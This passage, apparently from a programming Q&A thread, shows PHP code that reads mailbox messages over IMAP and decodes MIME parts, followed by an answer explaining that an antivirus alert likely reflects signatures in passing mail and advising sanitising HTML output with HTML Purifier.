if(!$structure) {
$structure = imap_fetchstructure($stream, $msg_number);
}
if($structure) {
if($mime_type == get_mime_type($structure)) {
if(!$part_number) {
$part_number = "1";
}
$text = imap_fetchbody($stream, $msg_number, $part_number);
if($structure->encoding == 3) {
return imap_base64($text);
} else if($structure->encoding == 4) {
return imap_qprint($text);
} else {
return $text;
}
}
if($structure->type == 1) /* multipart */ {
while(list($index, $sub_structure) = each($structure->parts)) {
if($part_number) {
$prefix = $part_number . '.';
}
$data = get_part($stream, $msg_number, $mime_type, $sub_structure,$prefix . ($index + 1));
if($data) {
return $data;
}
} // END OF WHILE
} // END OF MULTIPART
} // END OF STRUTURE
return false;
} // END OF FUNCTION
$connection = imap_open($server, $login, $password);
$count = imap_num_msg($connection);
for($i = 1; $i <= $count; $i++) {
$header = imap_headerinfo($connection, $i);
$from = $header->fromaddress;
$to = $header->toaddress;
$subject = $header->subject;
$date = $header->date;
$body = get_part($connection, $i, "TEXT/PLAIN");
}
Your guess seems accurate. IMAP itself is fine. What you do with the contents is what's dangerous.
What's dangerous about virus e-mails is that users might open a .exe attachment or something, so bad attachments and potentially evil HTML are what's being checked. As long as your code handling attachments doesn't tell the user to open them and this is just automatic processing or whatever, you're good to go. If you're planning on outputting HTML contents, be sure to use something like HTML Purifier.
The AV is detecting these signatures as they pass through the networking stack, most likely. You should be able to tell the source of the detection from the messages Kaspersky is giving you.